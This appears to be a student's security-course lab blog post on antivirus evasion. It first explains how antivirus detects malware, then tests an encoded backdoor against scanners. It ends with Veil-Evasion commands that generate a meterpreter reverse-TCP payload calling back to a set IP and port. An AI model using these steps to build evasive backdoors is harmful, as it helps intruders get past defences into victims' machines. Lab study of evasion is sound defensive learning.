20154313 刘文亨 EXP3

· 20154313刘文亨博客园

随笔-3 文章-0 评论-0

Exp3 免杀原理与实践

一、基础问题回答

（1）杀软是如何检测出恶意代码的？

· -检测特征码：
老师上课说过，每次网络传输或者其他过程，都会有包（tcp或者其他），这些包里的内容可被检测。如果其中有某一行代码含有特征码-即这段病毒程序的特定标志？我是这么理解的，就可以被查出来。这个是一个很精准的，但是存在滞后，因为病毒库要更新。

· -基于行为检测：
看这个程序或者代码是干什么的，如果是乱穿你的文件等等，那基本就是病毒。不过也不一定，有误差。

· -启发式检测类似：
这个感觉有点类似是自我学习然后发现病毒？我是这么理解的。

（2）免杀是做什么？

使恶意软件不被AV检测出来

（3）免杀的基本方法有哪些？

-改变特征码：

· 依靠分片等方法尝试找出特征码区域，并对该区域代码进行编码。

加壳，使其无法进行逆向，比对病毒库中的特征码。

改变行为方式：

二、开始实验测试

1.原始版本

将上此实验产生的后门 lwh_backdoor.exe 文件直接拷贝到开启360的win主机下

直接被360逮到~~

添加信任以后放在 http://www.virscan.org/上扫描

48%的报毒率！！那些没查到的可能因为病毒太裸了吧~

接下来需要对其进行改装了

2.编码版本V1

先对后门木马编码1次，lwh-1.exe

48%的报毒率，没有任何变化？？？？那就编码10次试试，lwh-10.exe

48%的报毒率？？完全没什么用！

3.veil-evasion版本

Veil-Evasion是一个与Metasploit有点类似的软件，已经在kali虚拟机里，如果没有可以进行在线安装：sudo apt-get install veil-evasion（反正我没成功，用同学电脑做的）
在终端下输入指令veil-evasion即可打开软件，根据menu的提示依次键入以下指令：

use python/meterpreter/rev_tcp //设置payload
set LHOST 192.30.1.193 //设置反弹连接IP
set port 4313 //设置反弹端口4313
generate //生成
4313lwh//程序名
1